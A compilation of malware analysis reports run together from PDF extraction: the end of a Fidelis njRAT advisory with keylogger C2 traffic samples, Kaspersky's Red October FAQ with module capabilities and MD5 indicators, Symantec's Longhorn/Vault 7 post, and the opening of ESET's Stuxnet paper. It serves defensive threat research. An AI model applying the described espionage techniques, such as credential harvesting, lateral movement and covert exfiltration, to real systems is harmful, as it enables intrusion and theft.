Y_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\[endof]RGHKEY_LOCAL_MACHIN www.fidelissecurity.com www.threatgeek.com  FidSecSys 1800.652.4020 Copyright  2013 General Dynamics Fidelis Cybersecurity Solutions Rev.
2013-06-25 Threat Advisory 1009 Page 26 of 27 njRAT Uncovered E\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OptionalComponentsBluetoothAuthenticationAgent/Strin g/rundll32.exe bthprops.cpl,,BluetoothAuthenticationAgentVMware Tools/String/C:\Program Files\VMware\VMware Tools\VMwareTray.exeVMware User Process/String/C:\Program Files\VMware\VMware Tools\vmtoolsd.exe -n vmusrGhostStartTrayApp/String/C:\Program Files\Symantec\Norton Ghost 2003\GhostStartTrayApp.exeIMJPMIG8.1/String/C:\WINDOWS\IME\imjp8_1\IMJPMIG.EXE /Spoil /RemAdvDef /Migration32IMEKRMIG6.1/String/C:\WINDOWS\ime\imkr6_1\IMEKRMIG.EXEMSPY2002/String/C:\WINDOWS\s ystem32\IME\PINTLGNT\ImScInst.exe /SYNCPHIME2002ASync/String/C:\WINDOWS\system32\IME\TINTLGNT\TINTSETP.EXE /SYNCPHIME2002A/String/C:\WINDOWS\system32\IME\TINTLGNT\TINTSETP.EXE /IMENameAdobe Reader Speed Launcher/String/C:\Program Files\Adobe\Reader 9.0\Reader\Reader_sl.exe0954e473c171a53f80142346107acfb3/String/C:\Documents and Settings\Examiner\Local Settings\Temp\ahbornad.exe ..[endof]P[endof]P[endof]P[endof]P[endof] - Keylogger window Main network traffic indicator of C2 activity through its Keylogger window: kl kl[endof]klDQoBMTMvMDYvMDYgV0lOV09SRCBEb2N1bWVudDEgLSBNaWNyb3NvZnQgV29yZAENCkhlbGxvIFdv cmxkIQ0KATEzLzA2LzA2IFdJTldPUkQgRG9jdW1lbnQxIC0gTWljcm9zb2Z0IFdvcmQBDQp0ZXN0DQoBMTMvMDYvMD Ygbm90ZXBhZCBVbnRpdGxlZCAtIE5vdGVwYWQBDQpFeHBsb3JlciBwYXNzd29yZDogMTIzNDU1W0JhY2tdNg0KAT EzLzA2LzA2IG5vdGVwYWQgVW50aXRsZWQgLSBOb3RlcGFkAQ0KYXNkZmQ[endof]P[endof]P[endof] The encoded data sent by the Victim system was the keystrokes collected into the keylogger file in the Victim.
The data decodes to: Encoded Data Decoded Data DQoBMTMvMDYvMDYgV0lOV09SRCBEb2N1bW VudDEgLSBNaWNyb3NvZnQgV29yZAENCkhlbG xvIFdvcmxkIQ0KATEzLzA2LzA2IFdJTldPUkQgRG 9jdW1lbnQxIC0gTWljcm9zb2Z0IFdvcmQBDQp0Z XN0DQoBMTMvMDYvMDYgbm90ZXBhZCBVbnR pdGxlZCAtIE5vdGVwYWQBDQpFeHBsb3JlciBwY XNzd29yZDogMTIzNDU1W0JhY2tdNg0KATEzLz A2LzA2IG5vdGVwYWQgVW50aXRsZWQgLSBOb 3RlcGFkAQ0KYXNkZmQ 13/06/06 WINWORD Document1 - Microsoft WordHello World 13/06/06 WINWORD Document1 - Microsoft Word test 13/06/06 notepad Untitled - Notepad Explorer password: 123455[Back]6 13/06/06 notepad Untitled - Notepad asdfd www.fidelissecurity.com www.threatgeek.com  FidSecSys 1800.652.4020 Copyright  2013 General Dynamics Fidelis Cybersecurity Solutions Rev.
2013-06-25 Threat Advisory 1009 Page 27 of 27 njRAT Uncovered - Get Passwords window Main potential network traffic indicators of C2 activity through its Get Passwords window: o ret o pl ret682dfec8c66a0de6f1475ca73c462a69([endof]bla[endof]pl682dfec8c66a0de6f1475ca73c462a690[endo f]ret682dfec8c66a0de6f1475ca73c462a69KiAqICogKiAqICogKiAqICogKiA[endof] The Fidelis Take Fidelis XPS sensors detect the njRAT malware variants and domains observed throughout this report.
Fidelis XPS sensors detected the NJC242.exe/njRAT malware as Trojan.
Win32.Jorik.
Agent.rkp.
Fidelis XPS is capable of detecting this threat regardless of delivery method employed by the Threat Actors responsible.
Fidelis XPS can detect and alert on executables such as the njRAT malware multiple layers deep inside of archive files (i.e.
ZIP), or even XORed inside of a weaponized MS Office document or Adobe PDF File.
The Fidelis Threat Research and Network Forensics and Incident Response teams will continue to actively monitor the ever-evolving threat landscape for the latest threats to our customers network security.
The Red October Campaign - An Advanced Cyber Espionage Network Targeting Diplomatic and Government Agencies Heres a link to the full paper (part 1) about our Red October research.
During the next days, well be publishing Part 2, which contains a detailed technical analysis of all the known modules.
Please stay tuned.
During the past five years, a high-level cyber-espionage campaign has successfully infiltrated computer networks at diplomatic, governmental and scientific research organizations, gathering data and intelligence from mobile devices, computer systems and network equipment.
Kaspersky Labs researchers have spent several months analyzing this malware, which targets specific organizations mostly in Eastern Europe, former USSR members and countries in Central Asia, but also in Western Europe and North America.
The campaign, identified as Rocra, short for Red October, is currently still active with data being sent to multiple command-and-control servers, through a configuration which rivals in complexity the infrastructure of the Flame malware.
Registration data used for the purchase of CC domain names and PE timestamps from collected executables suggest that these attacks date as far back as May 2007.
http://www.securelist.com/en/analysis/204792262/Red_October_Diplomatic_Cyber_Attacks_Investigation https://kasperskycontenthub.com/securelist/files/2013/01/208194085.png https://www.securelist.com/en/blog/208193522/The_Flame_Questions_and_Answers Some key findings from our investigation: The attackers have been active for at least five years, focusing on diplomatic and governmental agencies of various countries across the world.
Information harvested from infected networks is reused in later attacks.
For example, stolen credentials were compiled in a list and used when the attackers needed to guess passwords and network credentials in other locations.
To control the network of infected machines, the attackers created more than 60 domain names and several server hosting locations in different countries (mainly Germany and Russia).
The CC infrastructure is actually a chain of servers working as proxies and hiding the location of the true -mothership- command and control server.
The attackers created a multi-functional framework which is capable of applying quick extension of the features that gather intelligence.
The system is resistant to CC server takeover and allows the attacker to recover access to infected machines using alternative communication channels.
Beside traditional attack targets (workstations), the system is capable of stealing data from mobile devices, such as smartphones (iPhone, Nokia, Windows Mobile) dumping enterprise network equipment configuration (Cisco) hijacking files from removable disk drives (including already deleted files via a custom file recovery procedure) stealing e-mail databases from local Outlook storage or remote POP/IMAP server and siphoning files from local network FTP servers.
We have observed the use of at least three different exploits for previously known vulnerabilities: CVE-2009-3129 (MS Excel), CVE-2010-3333 (MS Word) and CVE-2012-0158 (MS Word).
The earliest known attacks used the exploit for MS Excel and took place in 2010 and 2011, while attacks targeting the MS Word vulnerabilities appeared in the summer of 2012.
The exploits from the documents used in spear phishing were created by other attackers and employed during different cyber attacks against Tibetan activists as well as military and energy sector targets in Asia.
The only thing that was changed is the executable which was embedded in the document the attackers replaced it with their own code.
https://kasperskycontenthub.com/securelist/files/2013/01/786.png Sample fake image used in one of the Rocra spear phishing attacks.
During lateral movement in a victims network, the attackers deploy a module to actively scan the local area network, find hosts vulnerable for MS08-067 (the vulnerability exploited by Conficker) or accessible with admin credentials from its own password database.
Another module used collected information to infect remote hosts in the same network.
Based on registration data of the CC servers and numerous artifacts left in executables of the malware, we strongly believe that the attackers have Russian-speaking origins.
Current attackers and executables developed by them have been unknown until recently, they have never related to any other targeted cyber attacks.
Notably, one of the commands in the Trojan dropper switches the codepage of an infected machine to 1251 before installation.
This is required to address files and directories that contain Cyrillic characters in their names.
Rocra FAQ: What is Rocra?
Where does the name come from?
Was Operation Rocra targeting any specific industries, organizations or geographical regions?
Rocra (short for Red October) is a targeted attack campaign that has been going on for at least five years.
It has infected hundreds of victims around the world in eight main categories: https://kasperskycontenthub.com/securelist/files/2013/01/788.png 1.
Government 2.
Diplomatic / embassies 3.
Research institutions 4.
Trade and commerce 5.
Nuclear / energy research 6.
Oil and gas companies 7.
Aerospace 8.
Military It is quite possible there are other targeted sectors which havent been discovered yet or have been attacked in the past.
How and when was it discovered?
We have come by the Rocra attacks in October 2012, at the request of one of our partners.
By analysing the attack, the spear phishing and malware modules, we understood the scale of this campaign and started dissecting it in depth.
Who provided you with the samples?
Our partner who originally pointed us to this malware prefers to remain anonymous.
How many infected computers have been identified by Kaspersky Lab?
How many victims are there?
What is the estimated size of Operation Red October on a global scale?
During the past months, weve counted several hundreds of infections worldwide - all of them in top locations such as government networks and diplomatic institutions.
The infections weve identified are distributed mostly in Eastern Europe, but there are also reports coming from North America and Western European countries such as Switzerland or Luxembourg.
Based on our Kaspersky Security Network (KSN) heres a list of countries with most infections (only for those with more than 5 victims): Country Infections RUSSIAN FEDERATION 35 KAZAKHSTAN 21 AZERBAIJAN 15 BELGIUM 15 INDIA 14 AFGHANISTAN 10 ARMENIA 10 IRAN ISLAMIC REPUBLIC OF 7 TURKMENISTAN 7 UKRAINE 6 UNITED STATES 6 VIET NAM 6 BELARUS 5 GREECE 5 ITALY 5 MOROCCO 5 PAKISTAN 5 SWITZERLAND 5 UGANDA 5 UNITED ARAB EMIRATES 5 For the sinkhole statistics see below.
Who is behind/responsible for this operation?
Is this a nation-state sponsored attack?
The information we have collected so far does not appear to point towards any specific location, however, two important factors stand out: The exploits appear to have been created by Chinese hackers.
The Rocra malware modules have been created by Russian-speaking operatives.
Currently, there is no evidence linking this with a nation-state sponsored attack.
The information stolen by the attackers is obviously of the highest level and includes geopolitical data which can be used by nation states.
Such information could be traded in the underground and sold to the highest bidder, which can be of course, anywhere.
Are there any interesting texts in the malware that can suggest who the attackers are?
Several Rocra modules contain interesting typos and mis-spellings: network_scanner: SUCCESSED, Error_massage, natrive_os, natrive_lan imapispool: UNLNOWN_PC_NAME, WinMain: error CreateThred stop mapi_client: Default Messanger, BUFEER IS FULL msoffice_plugin: my_encode my_dencode winmobile: Zakladka injected, Cannot inject zakladka, Error: u PswSuperMailRu: -------PROGA START-----, -------PROGA END----- The word PROGA used in here might refer to transliteration of Russian slang , which literally means an application or a program among Russian-speaking software engineers.
In particular, the word Zakladka in Russian can mean: bookmark (more likely) a slang term meaning undeclared functionality, i.e.
in software or hardware.
However, it may also mean a microphone embedded in a brick of the embassy building.
The C class that holds the CC configuration parameters is called MPTraitor and the corresponding configuration section in the resources is called conn_a.
Some examples include: What kind of information is being hijacked from infected machines?
Information stolen from infected systems includes documents with extensions: txt, csv, eml, doc, vsd, sxw, odt, docx, rtf, pdf, mdb, xls, wab, rst, xps, iau, cif, key, crt, cer, hse, pgp, gpg, xia, xiu, xis, xio, xig, acidcsa, acidsca, aciddsk, acidpvr, acidppr, acidssa.
In particular, the acid extensions appear to refer to the classified software Acid Cryptofiler, which is used by several entities such as the European Union and/or NATO.
What is the purpose/objective of this operation?
What were the attackers looking for by conducting this sustained cyber-espionage campaign for so many years?
The main purpose of the operation appears to be the gathering of classified information and geopolitical intelligence, although it seems that the information gathering scope is quite wide.
During the past five years, the attackers collected information from hundreds of high profile victims although its unknown how the information was used.
It is possible that the information was sold on the black market, or used directly.
What are the infection mechanisms for the malware?
Does it have self-propagating (worm) capabilities?
How does it work?
Do the attackers have a customized attack platform?
The main malware body acts as a point of entry into the system which can later download modules used for lateral movement.
After initial infection, the malware wont propagate by itself - typically, the attackers would gather information about the network for a few days, identify key systems and then deploy modules which can compromise other computers in the network, for instance by using the MS08-067 exploit.
In general, the Rocra framework is designed for executing tasks that are provided by its CC servers.
Most of the tasks are provided as one-time PE DLL libraries that are received from the server, executed in memory and then immediately discarded.
Several tasks however need to be constantly present in the system, i.e.
waiting for the iPhone or Nokia mobile to connect.
These tasks are provided as PE EXE files and are installed in the infected machine.
Examples of persistent tasks Once a USB drive is connected, search and extract files by mask/format, including deleted files.
Deleted files are restored using a built in file system parser Wait for an iPhone or a Nokia phone to be connected.
Once connected, retrieve information about the phone, its phone book, contact list, call history, calendar, SMS messages, browsing history Wait for a Windows Mobile phone to be connected.
Once connected, infect the phone with a mobile version of the Rocra main component Wait for a specially crafted Microsoft Office or PDF document and execute a malicious payload embedded in that document, implementing a one-way covert channel of communication that can be used to restore control of the infected machine Record all the keystrokes, make screenshots Execute additional encrypted modules according to a pre-defined schedule Retrieve e-mail messages and attachments from Microsoft Outlook and from reachable mail servers using previously obtained credentials Examples of one-time tasks Collect general software and hardware environment information Collect filesystem and network share information, build directory listings, search and retrieve files by mask provided by the CC server Collect information about installed software, most notably Oracle DB, RAdmin, IM software including Mail.
Ru agent, drivers and software for Windows Mobile, Nokia, SonyEricsson, HTC, Android phones, USB drives Extract browsing history from Chrome, Firefox, Internet Explorer, Opera Extract saved passwords for Web sites, FTP servers, mail and IM accounts Extract Windows account hashes, most likely for offline cracking Extract Outlook account information Determine the external IP address of the infected machine Download files from FTP servers that are reachable from the infected machine (including those that are connected to its local network) using previously obtained credentials Write and/or execute arbitrary code provided within the task Perform a network scan, dump configuration data from Cisco devices if available Perform a network scan within a predefined range and replicate to vulnerable machines using the MS08-067 vulnerability Replicate via network using previously obtained administrative credentials The Rocra framework was designed by the attackers from scratch and hasnt been used in any other operations.
Was the malware limited to only workstations or did it have additional capabilities, such as a mobile malware component?
Several mobile modules exist, which are designed to steal data from several types of devices: Windows Mobile iPhone Nokia These modules are installed in the system and wait for mobile devices to be connected to the victims machine.
When a connection is detected, the modules start collecting data from the mobile phones.
How many variants, modules or malicious files were identified during the overall duration of Operation Red October?
During our investigation, weve uncovered over 1000 modules belonging to 30 different module categories.
These have been created between 2007 with the most recent being compiled on 8th Jan 2013.
Heres a list of known modules and categories: Were initial attacks launched at select high-profile victims or were they launched in series of larger (wave) attacks at organizations/victims?
All the attacks are carefully tuned to the specifics of the victims.
For instance, the initial documents are customized to make them more appealing and every single module is specifically compiled for the victim with a unique victim ID inside.
Later, there is a high degree of interaction between the attackers and the victim - the operation is driven by the kind of configuration the victim has, which type of documents the use, installed software, native language and so on.
Compared to Flame and Gauss, which are highly automated cyberespionage campaigns, Rocra is a lot more personal and finely tuned for the victims.
Is Rocra related in any way to the Duqu, Flame and Gauss malware?
Simply put, we could not find any connections between Rocra and the Flame / Tilded platforms.
How does Operation Rocra compare to similar campaigns such as Aurora and Night Dragon?
Any notable similarities or differences?
Compared to Aurora and Night Dragon, Rocra is a lot more sophisticated.
During our investigation weve uncovered over 1000 unique files, belonging to about 30 different module categories.
Generally speaking, the Aurora and Night Dragon campaigns used relatively simple malware to steal confidential information.
With Rocra, the attackers managed to stay in the game for over 5 years and evade detection of most antivirus products while continuing to exfiltrate what must be hundreds of Terabytes by now.
How many Command  Control servers are there?
Did Kaspersky Lab conduct any forensic analysis on them?
During our investigation, we uncovered more than 60 domain names used by the attackers to control and retrieve data from the victims.
The domain names map to several dozen IPs located mostly in Russia and Germany.
Heres an overview of the Rocras command and control infrastructure, as we believe it looks from our investigations: More detailed information about the Command and Control servers will be revealed at a later date.
Did you sinkhole any of the Command  Control servers?
We were able to sinkhole six of the over 60 domains used by the various versions of the malware.
During the monitoring period (2 Nov 2012 - 10 Jan 2013), we registered over 55,000 connections to the sinkhole.
The number of different IPs connecting to the sinkhole was 250.
From the point of view of country distribution of connections to the sinkhole, we have observed victims in 39 countries, with most of IPs being from Switzerland.
Kazakhstan and Greece follow next.
Sinkhole statistics - 2 Nov 2012 - 10 Jan 2013 Is Kaspersky Lab working with any governmental organizations, Computer Emergency Response Teams (CERTs), law enforcement agencies or security companies as part of the investigation and disinfection efforts?
Kaspersky Lab, in collaboration with international organizations, Law Enforcement, Computer Emergency Response Teams (CERTs) and other IT security companies is continuing its investigation of Operation Red October by providing technical expertise and resources for remediation and mitigation procedures.
Kaspersky Lab would like to express their thanks to: US-CERT, the Romanian CERT and the Belarusian CERT for their assistance with the investigation.
If you are a CERT and would like more information about infections in your country, please contact us at theflamekaspersky.com.
Heres a link to the full paper (part 1) about our Red October research.
During the next days, well be publishing Part 2, which contains a detailed technical analysis of all the known modules.
Please stay tuned.
http://www.securelist.com/en/analysis/204792262/Red_October_Diplomatic_Cyber_Attacks_Investigation A list of MD5s of known documents used in the Red October attacks: 114ed0e5298149fc69f6e41566e3717a 1f86299628bed519718478739b0e4b0c 2672fbba23bf4f5e139b10cacc837e9f 350c170870e42dce1715a188ca20d73b 396d9e339c1fd2e787d885a688d5c646 3ded9a0dd566215f04e05340ccf20e0c 44e70bce66cdac5dc06d5c0d6780ba45 4bfa449f1a351210d3c5b03ac2bd18b1 4ce5fd18b1d3f551a098bb26d8347ffb 4daa2e7d3ac1a5c6b81a92f4a9ac21f1 50bd553568422cf547539dd1f49dd80d 51edea56c1e83bcbc9f873168e2370af 5d1121eac9021b5b01570fb58e7d4622 5ecec03853616e13475ac20a0ef987b6 5f9b7a70ca665a54f8879a6a16f6adde 639760784b3e26c1fe619e5df7d0f674 65d277af039004146061ff01bb757a8f 6b23732895daaad4bd6eae1d0b0fef08 731c68d2335e60107df2f5af18b9f4c9 7e5d9b496306b558ba04e5a4c5638f9f 82e518fb3a6749903c8dc17287cebbf8 85baebed3d22fa63ce91ffafcd7cc991 91ebc2b587a14ec914dd74f4cfb8dd0f 93d0222c8c7b57d38931cfd712523c67 9950a027191c4930909ca23608d464cc 9b55887b3e0c7f1e41d1abdc32667a93 9f470a4b0f9827d0d3ae463f44b227db a7330ce1b0f89ac157e335da825b22c7 b9238737d22a059ff8da903fbc69c352 c78253aefcb35f94acc63585d7bfb176 fc3c874bdaedf731439bbe28fc2e6bbe bb2f6240402f765a9d0d650b79cd2560 bd05475a538c996cd6cafe72f3a98fae c42627a677e0a6244b84aa977fbea15d cb51ef3e541e060f0c56ac10adef37c3 ceac9d75b8920323477e8a4acdae2803 cee7bd726bc57e601c85203c5767293c d71a9d26d4bb3b0ed189c79cd24d179a d98378db4016404ac558f9733e906b2b dc4a977eaa2b62ad7785b46b40c61281 dc8f0d4ecda437c3f870cd17d010a3f6 de56229f497bf51274280ef84277ea54 ec98640c401e296a76ab7f213164ef8c f0357f969fbaf798095b43c9e7a0cfa7 f16785fc3650490604ab635303e61de2
April 9, 2017 Longhorn: Tools used by cyberespionage group linked to Vault 7 symantec.com/connect/blogs/longhorn-tools-used-cyberespionage-group-linked-vault-7 First evidence linking Vault 7 tools to known cyberattacks.
By: Symantec Security ResponseSymantec Employee Created 10 Apr 2017 : , Spying tools and operational protocols detailed in the recent Vault 7 leak have been used in cyberattacks against at least 40 targets in 16 different countries by a group Symantec calls Longhorn.
Symantec has been protecting its customers from Longhorns tools for the past three years and has continued to track the group in order to learn more about its tools, tactics, and procedures.
The tools used by Longhorn closely follow development timelines and technical specifications laid out in documents disclosed by WikiLeaks.
The Longhorn group shares some of the same cryptographic protocols specified in the Vault 7 documents, in addition to following leaked guidelines on tactics to avoid detection.
Given the close similarities between the tools and techniques, there can be little doubt that Longhorns activities and the Vault 7 documents are the work of the same group.
Who is Longhorn?
Longhorn has been active since at least 2011.
It has used a range of back door Trojans in addition to zero-day vulnerabilities to compromise its targets.
Longhorn has infiltrated governments and internationally operating organizations, in addition to targets in the financial, telecoms, energy, aerospace, information technology, education, and natural resources sectors.
All of the organizations targeted would be of interest to a nation-state attacker.
Longhorn has infected 40 targets in at least 16 countries across the Middle East, Europe, Asia, and Africa.
On one occasion a computer in the United States was compromised but, following infection, an uninstaller was launched within hours, which may indicate this victim was infected unintentionally.
Vault7 linked Longhorn group infiltrated governments, international orgs, other targets The link to Vault 7 A number of documents disclosed by WikiLeaks outline specifications and requirements for malware tools.
One document is a development timeline for a piece of malware called Fluxwire, containing a changelog of dates for when new features were incorporated.
These 1/4 https://www.symantec.com/connect/blogs/longhorn-tools-used-cyberespionage-group-linked-vault-7 https://www.symantec.com/connect/user/symantec-security-response https://www.symantec.com/connect/zh-hans/blogs/longhorn-vault-7 https://www.symantec.com/connect/ja/blogs/longhorn-vault-7-0 dates align closely with the development of one Longhorn tool (Trojan.
Corentry) tracked by Symantec.
New features in Corentry consistently appeared in samples obtained by Symantec either on the same date listed in the Vault 7 document or several days later, leaving little doubt that Corentry is the malware described in the leaked document.
Early versions of Corentry seen by Symantec contained a reference to the file path for the Fluxwire program database (PDB) file.
The Vault 7 document lists removal of the full path for the PDB as one of the changes implemented in Version 3.5.0.
Up until 2014, versions of Corentry were compiled using GCC.
According to the Vault 7 document, Fluxwire switched to a MSVC compiler for version 3.3.0 on February 25, 2015.
This was reflected in samples of Corentry, where a version compiled on February 25, 2015 had used MSVC as a compiler.
Corentry sample (MD5 hash) Date/time of sample compilation Embedded Corentry version number Corentry compiler Vault 7 changelog number Vault 7 changelog date N/A N/A N/A N/A 2.1.0 - 2.4.1 Jan 12, 2011 - Feb 28, 2013 e20d5255d8ab1ff5f157847d2f3ffb25 23/08/2013 10:20 3.0.0 GCC 3.0.0 Aug 23, 2013 5df76f1ad59e019e52862585d27f1de2 21/02/2014 11:07 3.1.0 GCC 3.1.0 Feb 20, 2014 318d8b61d642274dd0513c293e535b38 15/05/2014 09:01 3.1.1 GCC 3.1.1 May 14, 2014 N/A N/A N/A N/A 3.2.0 Jul 15, 2014 511a473e26e7f10947561ded8f73ffd0 03/09/2014 00:12 3.2.1 GCC 3.2.1 Aug 18, 2014 c06d422656ca69827f63802667723932 25/02/2015 16:50 N/A MSVC 3.3.0 Feb 25, 2015 N/A N/A N/A N/A 3.3.1 - 3.5.0 May 17, 2015 - Nov 13, 2015 Table.
Corentry version numbers and compilation dates compared to Fluxwire version numbers and changelog dates disclosed in Vault 7 A second Vault 7 document details Fire and Forget, a specification for user-mode injection of a payload by a tool called Archangel.
The specification of the payload and the interface used to load it was closely matched in another Longhorn tool called Backdoor.
Plexor.
A third document outlines cryptographic protocols that malware tools should follow.
These include the use of inner cryptography within SSL to prevent man-in-the-middle (MITM) attacks, 2/4 https://www.symantec.com/security_response/writeup.jsp?docid2015-111823-1849-99 https://www.symantec.com/security_response/writeup.jsp?docid2017-040703-3623-99 key exchange once per connection, and use of AES with a 32-byte key.
These requirements align with the cryptographic practices observed by Symantec in all of the Longhorn tools.
Other Vault 7 documents outline tradecraft practices to be used, such as use of the Real-time Transport Protocol (RTP) as a means of command and control (CC) communications, employing wipe-on-use as standard practice, in-memory string de-obfuscation, using a unique deployment-time key for string obfuscation, and the use of secure erase protocols involving renaming and overwriting.
Symantec has observed Longhorn tools following all of these practices.
While other malware families are known to use some of these practices, the fact that so many of them are followed by Longhorn makes it noteworthy.
Global reach: Longhorns operations While active since at least 2011, with some evidence of activity dating back as far as 2007, Longhorn first came to Symantecs attention in 2014 with the use of a zero-day exploit (CVE- 2014-4148) embedded in a Word document to infect a target with Plexor.
The malware had all the hallmarks of a sophisticated cyberespionage group.
Aside from access to zero-day exploits, the group had preconfigured Plexor with elements that indicated prior knowledge of the target environment.
To date, Symantec has found evidence of Longhorn activities against 40 targets spread across 16 different countries.
Symantec has seen Longhorn use four different malware tools against its targets: Corentry, Plexor, Backdoor.
Trojan.
LH1, and Backdoor.
Trojan.
LH2.
Before deploying malware to a target, the Longhorn group will preconfigure it with what appears to be target-specific code words and distinct CC domains and IP addresses for communications back to the attackers.
Longhorn tools have embedded capitalized code words, internally referenced as groupid and siteid, which may be used to identify campaigns and victims.
Over 40 of these identifiers have been observed, and typically follow the theme of movies, characters, food, or music.
One example was a nod to the band The Police, with the code words REDLIGHT and ROXANNE used.
Longhorns malware has an extensive list of commands for remote control of the infected computer.
Most of the malware can also be customized with additional plugins and modules, some of which have been observed by Symantec.
Longhorns malware appears to be specifically built for espionage-type operations, with detailed system fingerprinting, discovery, and exfiltration capabilities.
The malware uses a high degree of operational security, communicating externally at only select times, with upload limits on exfiltrated data, and randomization of communication intervalsall attempts to stay under the radar during intrusions.
For CC servers, Longhorn typically configures a specific domain and IP address combination per target.
The domains appear to be registered by the attackers however they use privacy services to hide their real identity.
The IP addresses are typically owned by legitimate 3/4 http://www.cve.mitre.org/cgi-bin/cvename.cgi?namecve-2014-4148 https://www.symantec.com/security_response/writeup.jsp?docid2017-040703-1537-99 https://www.symantec.com/security_response/writeup.jsp?docid2015-082518-2117-99 companies offering virtual private server (VPS) or webhosting services.
The malware communicates with CC servers over HTTPS using a custom underlying cryptographic protocol to protect communications from identification.
Prior to the Vault 7 leak, Symantecs assessment of Longhorn was that it was a well-resourced organization which was involved in intelligence gathering operations.
This assessment was based on its global range of targets and access to a range of comprehensively developed malware and zero-day exploits.
The group appeared to work a standard Monday to Friday working week, based on timestamps and domain name registration dates, behavior which is consistent with state-sponsored groups.
Symantecs analysis uncovered a number of indicators that Longhorn was from an English- speaking, North American country.
The acronym MTWRFSU (Monday Tuesday Wednesday ThuRsday Friday Saturday SUnday) was used to configure which day of the week malware would communicate with the attackers.
This acronym is common in academic calendars in North America.
Some of the code words found in the malware, such as SCOOBYSNACK, would be most familiar in North America.
In addition to this, the compilation times of tools with reliable timestamps indicate a time zone in the Americas.
Distinctive fingerprints Longhorn has used advanced malware tools and zero-day vulnerabilities to infiltrate a string of targets worldwide.
Taken in combination, the tools, techniques, and procedures employed by Longhorn are distinctive and unique to this group, leaving little doubt about its link to Vault 7.
Throughout its investigation of Longhorn, Symantecs priority has been protection of its customers.
Through identifying different strains of Longhorn malware, connecting them to a single actor, and learning more about the groups tactics and procedures, Symantec has been able to better defend customer organizations against this and similar threats.
In publishing this new information, Symantecs goal remains unchanged: to reassure customers that it is aware of this threat and actively working to protect them from it.
Protection Symantec and Norton products have been protecting against Longhorn malware for a number of years with the following detections: Tags: Products, Endpoint Protection, Endpoint Protection Cloud, Security Response, AIT, APT, Backdoor.
Plexor, , , Investigation, Longhorn, Trojan.
Corentry, Vault 7 4/4 https://www.symantec.com/connect/search?filtersim_vid_31:691 https://www.symantec.com/connect/product/endpoint-protection-vdi https://www.symantec.com/connect/product/endpoint-protection-cloud https://www.symantec.com/connect/search?filtersim_vid_51:2261 https://www.symantec.com/connect/search?filtersim_vid_111:102921 https://www.symantec.com/connect/search?filtersim_vid_111:37391 https://www.symantec.com/connect/search?filtersim_vid_111:104601 https://www.symantec.com/connect/search?filtersim_vid_111:69991 https://www.symantec.com/connect/search?filtersim_vid_111:44241 https://www.symantec.com/connect/search?filtersim_vid_111:36001 https://www.symantec.com/connect/search?filtersim_vid_111:104611 https://www.symantec.com/connect/search?filtersim_vid_111:104591 https://www.symantec.com/connect/search?filtersim_vid_111:103721 Longhorn: Tools used by cyberespionage group linked to Vault 7 Who is Longhorn?
The link to Vault 7 Global reach: Longhorns operations Distinctive fingerprints Protection
Stuxnet Under the Microscope Revision 1.31 Aleksandr Matrosov, Senior Virus Researcher Eugene Rodionov, Rootkit Analyst David Harley, Senior Research Fellow Juraj Malcho, Head of Virus Laboratory 2 www.eset.com Contents 1 INTRODUCTION ................................................................................................................................. 5 1.1 TARGETED ATTACKS ............................................................................................................................. 5 1.2 STUXNET VERSUS AURORA ..................................................................................................................... 7 1.3 STUXNET REVEALED............................................................................................................................ 11 1.4 STATISTICS ON THE SPREAD OF THE STUXNET WORM ................................................................................ 15 2 MICROSOFT, MALWARE AND THE MEDIA ....................................................................................... 17 2.1 SCADA, SIEMENS AND STUXNET .......................................................................................................... 17 2.2 STUXNET TIMELINE............................................................................................................................. 19 3 DISTRIBUTION ................................................................................................................................. 24 3.1 THE LNK EXPLOIT .............................................................................................................................. 24 3.1.1 Propagation via External Storage Devices ............................................................................... 27 3.1.2 Metasploit and WebDAV Exploit .............................................................................................. 27 3.1.3 What Do DLL Hijacking Flaws and the LNK Exploit have in Common?
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28 3.2 LNK VULNERABILITY IN STUXNET .......................................................................................................... 29 3.3 THE MS10-061 ATTACK VECTOR ......................................................................................................... 31 3.4 NETWORK SHARED FOLDERS AND RPC VULNERABILITY (MS08-067) ......................................................... 34 3.5 0-DAY IN WIN32K.SYS (MS10-073) .................................................................................................... 35 3.6 MS10-092: EXPLOITING A 0-DAY IN TASK SCHEDULER ............................................................................. 40 4 STUXNET IMPLEMENTATION ........................................................................................................... 45 4.1 USER-MODE FUNCTIONALITY ................................................................................................................ 45 4.1.1 Overview of the main module .................................................................................................. 45 4.1.2 Injecting code ........................................................................................................................... 46 4.1.3 Injecting into a current process ................................................................................................ 47 4.1.4 Injecting into a new process ..................................................................................................... 50 4.1.5 Installation ............................................................................................................................... 50 4.1.6 Exported functions.................................................................................................................... 52 4.1.7 RPC Server ................................................................................................................................ 56 4.1.8 Resources ................................................................................................................................. 58 3 www.eset.com 4.2 KERNEL-MODE FUNCTIONALITY ............................................................................................................. 58 4.2.1 MRXCLS.sys ............................................................................................................................... 60 4.2.2 MRXNET.sys .............................................................................................................................. 64 4.3 STUXNET BOT CONFIGURATION DATA .................................................................................................... 65 4.4 REMOTE COMMUNICATION PROTOCOL .................................................................................................. 66 CONCLUSION .......................................................................................................................................... 70 APPENDIX A ............................................................................................................................................ 71 APPENDIX B ............................................................................................................................................ 74 APPENDIX C ............................................................................................................................................ 75 APPENDIX D ........................................................................................................................................... 82 APPENDIX E ............................................................................................................................................ 84 4 www.eset.com Preface This report is devoted to the analysis of the notorious Stuxnet worm (Win32/Stuxnet) that suddenly attracted the attention of virus researchers this summer.
This report is primarily intended to describe targeted and semi-targeted attacks, and how they are implemented, focusing mainly on the most recent, namely Stuxnet.
This attack is, however, compared to the Aurora attack, outlining the similarities and differences between the two attacks.
The paper is structured as follows.
In the first section we introduce the targeted attacks and their common characteristics and goals.
In this section we present comparison of two attacks: Stuxnet vs. Aurora.
The second section contains some general information on SCADA (Supervisory Control And Data Acquisition) systems and PLCs (Programmable Logic Controllers) as Stuxnets primary targets of.
The third section covers the distribution of the Stuxnet worm.
Here we describe vulnerabilities that it exploits to infect the target machine.
The next section describes the implementation of Stuxnet: user- mode and kernel-mode components, RPC Server and their interconnection.
We also describe the remote communication protocol that it uses to communicate with the remote CC.
5 www.eset.com 1 Introduction This section contains information on targeted attacks and its characteristics.
In particular, we discuss two types of attacks: attacks targeting a specific company or organization, and attacks targeting specific software and IT infrastructure.
We do this by comparing two outstanding examples of these two species of attack: Aurora and Stuxnet.
This chapter provides information on some intriguing facts related to Stuxnet, such as timestamps of its binaries, and information on compiler versions which might be useful in analysis of the malware.
We end with statistics relating to Stuxnet distribution all over the world.
